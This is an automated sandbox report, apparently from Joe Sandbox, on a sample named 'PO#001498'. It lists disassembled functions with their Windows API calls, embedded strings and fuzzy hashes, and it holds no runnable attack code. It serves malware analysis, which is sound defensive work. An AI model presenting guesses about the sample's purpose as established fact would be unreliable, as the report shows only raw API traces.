                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CursorLoad
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3238433803-0
                                                                                                                                                                                • Opcode ID: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                                                • Instruction ID: acd63d7325575073817552101614e6badc0a76bef24473f745c9da0ba21645f6
                                                                                                                                                                                • Opcode Fuzzy Hash: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                                                • Instruction Fuzzy Hash: 6D310E3058C302FFE7504F50EE0AB1C36A0BB48B47F008C7DF64AA62E0E6F055009B9A
                                                                                                                                                                                Function 00460ABB Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 294windowtimeCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetClassNameW.USER32(?,?,00000100), ref: 00460AF5
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00460B00
                                                                                                                                                                                • __swprintf.LIBCMT ref: 00460B9E
                                                                                                                                                                                • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00460C11
                                                                                                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 00460C8E
                                                                                                                                                                                • GetDlgCtrlID.USER32(?), ref: 00460CE6
                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00460D21
                                                                                                                                                                                • GetParent.USER32(?), ref: 00460D40
                                                                                                                                                                                • ScreenToClient.USER32(00000000), ref: 00460D47
                                                                                                                                                                                • GetClassNameW.USER32(?,?,00000100), ref: 00460DBE
                                                                                                                                                                                • GetWindowTextW.USER32(?,?,00000400), ref: 00460DFB
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                                                                                                                                                                                • String ID: %s%u
                                                                                                                                                                                • API String ID: 1899580136-679674701
                                                                                                                                                                                • Opcode ID: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                                                                                                • Instruction ID: ed0b46c26cbb3f928a943cd91895a09858176ee0e89b0f6962e21683ef9d2041
                                                                                                                                                                                • Opcode Fuzzy Hash: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                                                                                                • Instruction Fuzzy Hash: 3AA1CD722043019BDB14DF54C884BEB73A8FF84714F04892EFD889B245E778E946CBA6
                                                                                                                                                                                Function 0047D5F6 Relevance: 21.2, APIs: 4, Strings: 8, Instructions: 210COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CoTaskMemFree.OLE32(?), ref: 0047D6D3
                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                • StringFromCLSID.OLE32(?,?), ref: 0047D6B5
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                • StringFromIID.OLE32(?,?), ref: 0047D7F0
                                                                                                                                                                                • CoTaskMemFree.OLE32(?), ref: 0047D80A
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: FreeFromStringTask_wcslen$_wcscpy
                                                                                                                                                                                • String ID: 0vH$CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32$HH
                                                                                                                                                                                • API String ID: 2485709727-934586222
                                                                                                                                                                                • Opcode ID: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                                                                                                • Instruction ID: 9b1d76abf7044590dd80f2c514dab21f357569e7696d0ed80310904c07b122bf
                                                                                                                                                                                • Opcode Fuzzy Hash: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                                                                                                • Instruction Fuzzy Hash: 63714BB5614201AFC304EF25C981D5BB3F8BF88704F108A2EF5599B351DB78E905CB6A
                                                                                                                                                                                Function 0045DB3E Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 181COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcscpy$Folder_memset$BrowseDesktopFromInitializeListMallocPathUninitialize
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 3381189665-2761332787
                                                                                                                                                                                • Opcode ID: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                                                                                                • Instruction ID: 9856a5a3be2a6f4b6f15ab218c20ab076772672eb14c4daba281b2e598c2a196
                                                                                                                                                                                • Opcode Fuzzy Hash: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                                                                                                • Instruction Fuzzy Hash: E1619AB59043009FC320EF65C88499BB7E9BFC8704F048E1EF98987252D775E849CB6A
                                                                                                                                                                                Function 00434506 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetDC.USER32(00000000), ref: 00434585
                                                                                                                                                                                • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00434590
                                                                                                                                                                                • CreateCompatibleDC.GDI32(00000000), ref: 0043459B
                                                                                                                                                                                • SelectObject.GDI32(00000000,?), ref: 004345A9
                                                                                                                                                                                • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00434618
                                                                                                                                                                                • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00434665
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
                                                                                                                                                                                • String ID: (
                                                                                                                                                                                • API String ID: 3300687185-3887548279
                                                                                                                                                                                • Opcode ID: 440148b18d84eb95ba181de3259d53385060cfec68f9b8a73670629712acb2fa
                                                                                                                                                                                • Instruction ID: a007e7ec8c3f390601fcb6226b5fc218b62818acb39bbc9fe8cd9ddeb27b86ed
                                                                                                                                                                                • Opcode Fuzzy Hash: 440148b18d84eb95ba181de3259d53385060cfec68f9b8a73670629712acb2fa
                                                                                                                                                                                • Instruction Fuzzy Hash: E4514871508345AFD310CF69C884B6BBBE9EF8A310F14881DFA9687390D7B5E844CB66
                                                                                                                                                                                Function 0045E41B Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 150COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E463
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E480
                                                                                                                                                                                • __swprintf.LIBCMT ref: 0045E4D9
                                                                                                                                                                                • _printf.LIBCMT ref: 0045E595
                                                                                                                                                                                • _printf.LIBCMT ref: 0045E5B7
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                                                • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR $HH
                                                                                                                                                                                • API String ID: 3590180749-2894483878
                                                                                                                                                                                • Opcode ID: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                                                                                                • Instruction ID: 42a5c2f6345f2e10047da6565a111f96cfad8617a22bea28fc44504b1d19b7ce
                                                                                                                                                                                • Opcode Fuzzy Hash: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                                                                                                • Instruction Fuzzy Hash: 9F51A171518345ABD324EF91CC41DAF77A8AF84754F04093FF94463292EB78EE488B6A
                                                                                                                                                                                Function 0046F90E Relevance: 21.1, APIs: 14, Instructions: 147windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 0046F911
                                                                                                                                                                                • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 0046F929
                                                                                                                                                                                • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 0046F942
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0046F950
                                                                                                                                                                                • DestroyIcon.USER32(?,?,000000F7,00000000,00000000,?,00000000,00000000,00000000,00002010,?,000000F0), ref: 0046F95E
                                                                                                                                                                                • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9A8
                                                                                                                                                                                • SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 0046F9C1
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0046F9CF
                                                                                                                                                                                • DestroyIcon.USER32(?,?,000000F7,00000001,00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9DD
                                                                                                                                                                                • ExtractIconExW.SHELL32(?,?,?,000000FF,00000001), ref: 0046FA1D
                                                                                                                                                                                • DestroyIcon.USER32(?), ref: 0046FA4F
                                                                                                                                                                                • SendMessageW.USER32(?,000000F7,00000001,?), ref: 0046FA5A
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0046FA68
                                                                                                                                                                                • DestroyIcon.USER32(?,?,000000F7,00000001,?), ref: 0046FA76
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Icon$Destroy$DeleteMessageObjectSend$ImageLoad$ExtractLongWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3412594756-0
                                                                                                                                                                                • Opcode ID: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                                                                                                • Instruction ID: 2b127e2e725f503062080ad48664a75956f0b49bd2ac624c91da1236fc619d99
                                                                                                                                                                                • Opcode Fuzzy Hash: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                                                                                                • Instruction Fuzzy Hash: BD41B575344301ABE7209B65ED45B6B7398EB44711F00083EFA85A7381DBB9E809C76A
                                                                                                                                                                                Function 0045D971 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 140COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                                                  • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                                • GetDriveTypeW.KERNEL32 ref: 0045DA30
                                                                                                                                                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DA76
                                                                                                                                                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DAAB
                                                                                                                                                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DADF
                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: SendString$_wcslen$BuffCharDriveLowerType
                                                                                                                                                                                • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                                                                                                                • API String ID: 4013263488-4113822522
                                                                                                                                                                                • Opcode ID: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                                                                                                • Instruction ID: 78e8968fe3d68f28a61334a0544e46eb3ade7c09d07056eb4a028b8014bab4f9
                                                                                                                                                                                • Opcode Fuzzy Hash: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                                                                                                • Instruction Fuzzy Hash: 86516E71604300ABD710EF55CC85F5EB3E4AF88714F14496EF985AB2D2D7B8E908CB5A
                                                                                                                                                                                Function 00435A35 Relevance: 21.1, APIs: 14, Instructions: 136timeCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcslen$_wcsncpy$LocalTime__wcstoi64
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 228034949-0
                                                                                                                                                                                • Opcode ID: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                                                                                                • Instruction ID: c9113392db11e6d0b84b7dcaf0f9983ae7bcdcfbf3325debe08446cd55f13bc3
                                                                                                                                                                                • Opcode Fuzzy Hash: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                                                                                                • Instruction Fuzzy Hash: 874194B181435066DA10FF6AC8479DFB3A8EF89314F84495FF945D3162E378E64883AA
                                                                                                                                                                                Function 004334CA Relevance: 21.1, APIs: 14, Instructions: 132filecommemoryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,?,0046FAD5), ref: 004334F4
                                                                                                                                                                                • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043350F
                                                                                                                                                                                • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043351A
                                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 00433523
                                                                                                                                                                                • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433533
                                                                                                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 0043353A
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433541
                                                                                                                                                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043354F
                                                                                                                                                                                • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,?), ref: 00433568
                                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 0043357B
                                                                                                                                                                                • GetObjectW.GDI32(?,00000018,?), ref: 004335A6
                                                                                                                                                                                • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004335DB
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 00433603
                                                                                                                                                                                • SendMessageW.USER32(?,00000172,00000000,?), ref: 0043361B
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3969911579-0
                                                                                                                                                                                • Opcode ID: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                                                • Instruction ID: 5aed18668fdc988692497ed4484016cc97142e8c7c748bcd34b77a3330007e11
                                                                                                                                                                                • Opcode Fuzzy Hash: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                                                • Instruction Fuzzy Hash: 70410471204210AFD710DF64DC88F6BBBE8FB89711F10492DFA45972A0D7B5A941CBAA
                                                                                                                                                                                Function 00445A77 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 73windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetParent.USER32 ref: 00445A8D
                                                                                                                                                                                • GetClassNameW.USER32(00000000,?,00000100), ref: 00445AA0
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 00445AC4
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 00445AE0
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445B3D
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __wcsicoll$ClassMessageNameParentSend
                                                                                                                                                                                • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                                                                                                                • API String ID: 3125838495-3381328864
                                                                                                                                                                                • Opcode ID: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                                                • Instruction ID: 9ea7b4bfd8e333fc3d4c3d1cc69785ca983c3453aa66f955cff8de8c622a02b1
                                                                                                                                                                                • Opcode Fuzzy Hash: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                                                • Instruction Fuzzy Hash: F011E9B1B40301BBFF10B6659C46EAF739CDF94759F00081BFD44E6182F6ACA9458769
                                                                                                                                                                                Function 00479921 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 314COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CopyVariant$ErrorLast
                                                                                                                                                                                • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
                                                                                                                                                                                • API String ID: 2286883814-4206948668
                                                                                                                                                                                • Opcode ID: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                                                                                                • Instruction ID: 5c76bcf0434180a49ef26f8382d3619d889c8a8ee3f63882ad125ac36acecb62
                                                                                                                                                                                • Opcode Fuzzy Hash: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                                                                                                • Instruction Fuzzy Hash: 4EA1F0B1644300ABD620EB25CC81EABB3E9FBC4704F10891EF65987251D779E945CBAA
                                                                                                                                                                                Function 00475D8B Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 194COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                                                  • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                                • GetDriveTypeW.KERNEL32(?,?,00000061), ref: 00475EEC
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 00475F18
